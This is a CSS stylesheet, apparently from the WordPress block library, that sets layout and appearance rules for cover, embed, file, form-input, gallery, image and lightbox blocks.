.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{
  margin:0;
  width:auto;
}
.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{
  border:none;
  bottom:0;
  box-shadow:none;
  height:100%;
  left:0;
  margin:0;
  max-height:none;
  max-width:none;
  object-fit:cover;
  outline:none;
  padding:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
  background-attachment:fixed;
  background-repeat:no-repeat;
  background-size:cover;
}
@supports (-webkit-touch-callout:inherit){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
@media (prefers-reduced-motion:reduce){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{
  background-repeat:repeat;
  background-size:auto;
}

.wp-block-cover__image-background,.wp-block-cover__video-background{
  z-index:0;
}
.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{
  color:#fff;
}

.wp-block-cover-image .wp-block-cover.has-left-content{
  justify-content:flex-start;
}
.wp-block-cover-image .wp-block-cover.has-right-content{
  justify-content:flex-end;
}

.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{
  margin-left:0;
  text-align:left;
}

.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{
  margin-right:0;
  text-align:right;
}

.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{
  font-size:2em;
  line-height:1.25;
  margin-bottom:0;
  max-width:840px;
  padding:.44em;
  text-align:center;
  z-index:1;
}

:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){
  color:#fff;
}

:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){
  color:#000;
}

.wp-block-details{
  box-sizing:border-box;
  overflow:hidden;
}

.wp-block-details summary{
  cursor:pointer;
}

.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{
  max-width:360px;
  width:100%;
}
.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{
  min-width:280px;
}

.wp-block-cover .wp-block-embed{
  min-height:240px;
  min-width:320px;
}

.wp-block-embed{
  overflow-wrap:break-word;
}
.wp-block-embed figcaption{
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-embed iframe{
  max-width:100%;
}

.wp-block-embed__wrapper{
  position:relative;
}

.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{
  content:"";
  display:block;
  padding-top:50%;
}
.wp-embed-responsive .wp-has-aspect-ratio iframe{
  bottom:0;
  height:100%;
  left:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{
  padding-top:42.85%;
}
.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{
  padding-top:50%;
}
.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{
  padding-top:56.25%;
}
.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{
  padding-top:75%;
}
.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{
  padding-top:100%;
}
.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{
  padding-top:177.77%;
}
.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{
  padding-top:200%;
}

.wp-block-file{
  box-sizing:border-box;
}
.wp-block-file:not(.wp-element-button){
  font-size:.8em;
}
.wp-block-file.aligncenter{
  text-align:center;
}
.wp-block-file.alignright{
  text-align:right;
}
.wp-block-file *+.wp-block-file__button{
  margin-left:.75em;
}

:where(.wp-block-file){
  margin-bottom:1.5em;
}

.wp-block-file__embed{
  margin-bottom:1em;
}

:where(.wp-block-file__button){
  border-radius:2em;
  display:inline-block;
  padding:.5em 1em;
}
:where(.wp-block-file__button):is(a):active,:where(.wp-block-file__button):is(a):focus,:where(.wp-block-file__button):is(a):hover,:where(.wp-block-file__button):is(a):visited{
  box-shadow:none;
  color:#fff;
  opacity:.85;
  text-decoration:none;
}

.wp-block-form-input__label{
  display:flex;
  flex-direction:column;
  gap:.25em;
  margin-bottom:.5em;
  width:100%;
}
.wp-block-form-input__label.is-label-inline{
  align-items:center;
  flex-direction:row;
  gap:.5em;
}
.wp-block-form-input__label.is-label-inline .wp-block-form-input__label-content{
  margin-bottom:.5em;
}
.wp-block-form-input__label:has(input[type=checkbox]){
  flex-direction:row-reverse;
  width:-moz-fit-content;
  width:fit-content;
}

.wp-block-form-input__label-content{
  width:-moz-fit-content;
  width:fit-content;
}

.wp-block-form-input__input{
  font-size:1em;
  margin-bottom:.5em;
  padding:0 .5em;
}
.wp-block-form-input__input[type=date],.wp-block-form-input__input[type=datetime-local],.wp-block-form-input__input[type=datetime],.wp-block-form-input__input[type=email],.wp-block-form-input__input[type=month],.wp-block-form-input__input[type=number],.wp-block-form-input__input[type=password],.wp-block-form-input__input[type=search],.wp-block-form-input__input[type=tel],.wp-block-form-input__input[type=text],.wp-block-form-input__input[type=time],.wp-block-form-input__input[type=url],.wp-block-form-input__input[type=week]{
  border:1px solid;
  line-height:2;
  min-height:2em;
}

textarea.wp-block-form-input__input{
  min-height:10em;
}

.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){
  display:flex;
  flex-wrap:wrap;
  list-style-type:none;
  margin:0;
  padding:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:center;
  margin:0 1em 1em 0;
  position:relative;
  width:calc(50% - 1em);
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){
  margin-right:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{
  align-items:flex-end;
  display:flex;
  height:100%;
  justify-content:flex-start;
  margin:0;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{
  display:block;
  height:auto;
  max-width:100%;
  width:auto;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{
  background:linear-gradient(0deg, #000000b3, #0000004d 70%, #0000);
  bottom:0;
  box-sizing:border-box;
  color:#fff;
  font-size:.8em;
  margin:0;
  max-height:100%;
  overflow:auto;
  padding:3em .77em .7em;
  position:absolute;
  text-align:center;
  width:100%;
  z-index:2;
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{
  display:inline;
}
.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{
  flex-grow:1;
}
.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{
  flex:1;
  height:100%;
  object-fit:cover;
  width:100%;
}
.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{
  margin-right:0;
  width:100%;
}
@media (min-width:600px){
  .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{
    margin-right:1em;
    width:calc(33.33333% - .66667em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{
    margin-right:1em;
    width:calc(25% - .75em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{
    margin-right:1em;
    width:calc(20% - .8em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{
    margin-right:1em;
    width:calc(16.66667% - .83333em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{
    margin-right:1em;
    width:calc(14.28571% - .85714em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{
    margin-right:1em;
    width:calc(12.5% - .875em);
  }
  .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){
    margin-right:0;
  }
}
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{
  margin-right:0;
}
.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{
  max-width:420px;
  width:100%;
}
.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{
  justify-content:center;
}

.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{
  align-self:flex-start;
}

figure.wp-block-gallery.has-nested-images{
  align-items:normal;
}

.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){
  margin:0;
  width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2);
}
.wp-block-gallery.has-nested-images figure.wp-block-image{
  box-sizing:border-box;
  display:flex;
  flex-direction:column;
  flex-grow:1;
  justify-content:center;
  max-width:100%;
  position:relative;
}
.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{
  flex-direction:column;
  flex-grow:1;
  margin:0;
}
.wp-block-gallery.has-nested-images figure.wp-block-image img{
  display:block;
  height:auto;
  max-width:100% !important;
  width:auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{
  background:linear-gradient(0deg, #000000b3, #0000004d 70%, #0000);
  bottom:0;
  box-sizing:border-box;
  color:#fff;
  font-size:13px;
  left:0;
  margin-bottom:0;
  max-height:60%;
  overflow:auto;
  padding:0 8px 8px;
  position:absolute;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-width:thin;
  text-align:center;
  width:100%;
  will-change:transform;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{
  background-color:initial;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{
  background-color:#fffc;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{
  scrollbar-color:#fffc #0000;
}
@media (hover:none){
  .wp-block-gallery.has-nested-images figure.wp-block-image figcaption{
    scrollbar-color:#fffc #0000;
  }
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{
  display:inline;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{
  color:inherit;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{
  box-sizing:border-box;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{
  flex:1 1 auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{
  background:none;
  color:inherit;
  flex:initial;
  margin:0;
  padding:10px 10px 9px;
  position:relative;
}
.wp-block-gallery.has-nested-images figcaption{
  flex-basis:100%;
  flex-grow:1;
  text-align:center;
}
.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){
  margin-bottom:auto;
  margin-top:0;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){
  align-self:inherit;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){
  display:flex;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{
  flex:1 0 0%;
  height:100%;
  object-fit:cover;
  width:100%;
}
.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){
  width:100%;
}
@media (min-width:600px){
  .wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){
    width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667);
  }
  .wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){
    width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75);
  }
  .wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){
    width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8);
  }
  .wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){
    width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333);
  }
  .wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){
    width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714);
  }
  .wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){
    width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){
    width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){
    width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5);
  }
  .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{
    width:100%;
  }
}
.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-gallery.has-nested-images.aligncenter{
  justify-content:center;
}

.wp-block-group{
  box-sizing:border-box;
}

h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{
  padding:1.25em 2.375em;
}
h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){
  rotate:180deg;
}

.wp-block-image img{
  box-sizing:border-box;
  height:auto;
  max-width:100%;
  vertical-align:bottom;
}
.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{
  border-radius:inherit;
}
.wp-block-image.has-custom-border img{
  box-sizing:border-box;
}
.wp-block-image.aligncenter{
  text-align:center;
}
.wp-block-image.alignfull img,.wp-block-image.alignwide img{
  height:auto;
  width:100%;
}
.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{
  display:table;
}
.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{
  caption-side:bottom;
  display:table-caption;
}
.wp-block-image .alignleft{
  float:left;
  margin:.5em 1em .5em 0;
}
.wp-block-image .alignright{
  float:right;
  margin:.5em 0 .5em 1em;
}
.wp-block-image .aligncenter{
  margin-left:auto;
  margin-right:auto;
}
.wp-block-image figcaption{
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-image .is-style-rounded img,.wp-block-image.is-style-circle-mask img,.wp-block-image.is-style-rounded img{
  border-radius:9999px;
}
@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){
  .wp-block-image.is-style-circle-mask img{
    border-radius:0;
    -webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
            mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
    mask-mode:alpha;
    -webkit-mask-position:center;
            mask-position:center;
    -webkit-mask-repeat:no-repeat;
            mask-repeat:no-repeat;
    -webkit-mask-size:contain;
            mask-size:contain;
  }
}
.wp-block-image :where(.has-border-color){
  border-style:solid;
}
.wp-block-image :where([style*=border-top-color]){
  border-top-style:solid;
}
.wp-block-image :where([style*=border-right-color]){
  border-right-style:solid;
}
.wp-block-image :where([style*=border-bottom-color]){
  border-bottom-style:solid;
}
.wp-block-image :where([style*=border-left-color]){
  border-left-style:solid;
}
.wp-block-image :where([style*=border-width]){
  border-style:solid;
}
.wp-block-image :where([style*=border-top-width]){
  border-top-style:solid;
}
.wp-block-image :where([style*=border-right-width]){
  border-right-style:solid;
}
.wp-block-image :where([style*=border-bottom-width]){
  border-bottom-style:solid;
}
.wp-block-image :where([style*=border-left-width]){
  border-left-style:solid;
}

.wp-block-image figure{
  margin:0;
}

.wp-lightbox-container{
  display:flex;
  flex-direction:column;
  position:relative;
}
.wp-lightbox-container img{
  cursor:zoom-in;
}
.wp-lightbox-container img:hover+button{
  opacity:1;
}
.wp-lightbox-container button{
  align-items:center;
  -webkit-backdrop-filter:blur(16px) saturate(180%);
          backdrop-filter:blur(16px) saturate(180%);
  background-color:#5a5a5a40;
  border:none;
  border-radius:4px;
  cursor:zoom-in;
  display:flex;
  height:20px;
  justify-content:center;
  opacity:0;
  padding:0;
  position:absolute;
  right:16px;
  text-align:center;
  top:16px;
  transition:opacity .2s ease;
  width:20px;
  z-index:100;
}
.wp-lightbox-container button:focus-visible{
  outline:3px auto #5a5a5a40;
  outline:3px auto -webkit-focus-ring-color;
  outline-offset:3px;
}
.wp-lightbox-container button:hover{
  cursor:pointer;
  opacity:1;
}
.wp-lightbox-container button:focus{
  opacity:1;
}
.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){
  background-color:#5a5a5a40;
  border:none;
}

.wp-lightbox-overlay{
  box-sizing:border-box;
  cursor:zoom-out;
  height:100vh;
  left:0;
  overflow:hidden;
  position:fixed;
  top:0;
  visibility:hidden;
  width:100%;
  z-index:100000;
}
.wp-lightbox-overlay .close-button{
  align-items:center;
  cursor:pointer;
  display:flex;
  justify-content:center;
  min-height:40px;
  min-width:40px;
  padding:0;
  position:absolute;
  right:calc(env(safe-area-inset-right) + 16px);
  top:calc(env(safe-area-inset-top) + 16px);
  z-index:5000000;
}
.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){
  background:none;
  border:none;
}
.wp-lightbox-overlay .lightbox-image-container{
  height:var(--wp--lightbox-container-height);
  left:50%;
  overflow:hidden;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
  transform-origin:top left;
  width:var(--wp--lightbox-container-width);
  z-index:9999999999;
}
.wp-lightbox-overlay .wp-block-image{
  align-items:center;
  box-sizing:border-box;
  display:flex;
  height:100%;
  justify-content:center;
  margin:0;
  position:relative;
  transform-origin:0 0;
  width:100%;
  z-index:3000000;
}
.wp-lightbox-overlay .wp-block-image img{
  height:var(--wp--lightbox-image-height);
  min-height:var(--wp--lightbox-image-height);
  min-width:var(--wp--lightbox-image-width);
  width:var(--wp--lightbox-image-width);
}
.wp-lightbox-overlay .wp-block-image figcaption{
  display:none;
}
.wp-lightbox-overlay button{
  background:none;
  border:none;
}
.wp-lightbox-overlay .scrim{
  background-color:#fff;
  height:100%;
  opacity:.9;
  position:absolute;
  width:100%;
  z-index:2000000;
}
.wp-lightbox-overlay.active{
  animation:turn-on-visibility .25s both;
  visibility:visible;
}
.wp-lightbox-overlay.active img{
  animation:turn-on-visibility .35s both;
}
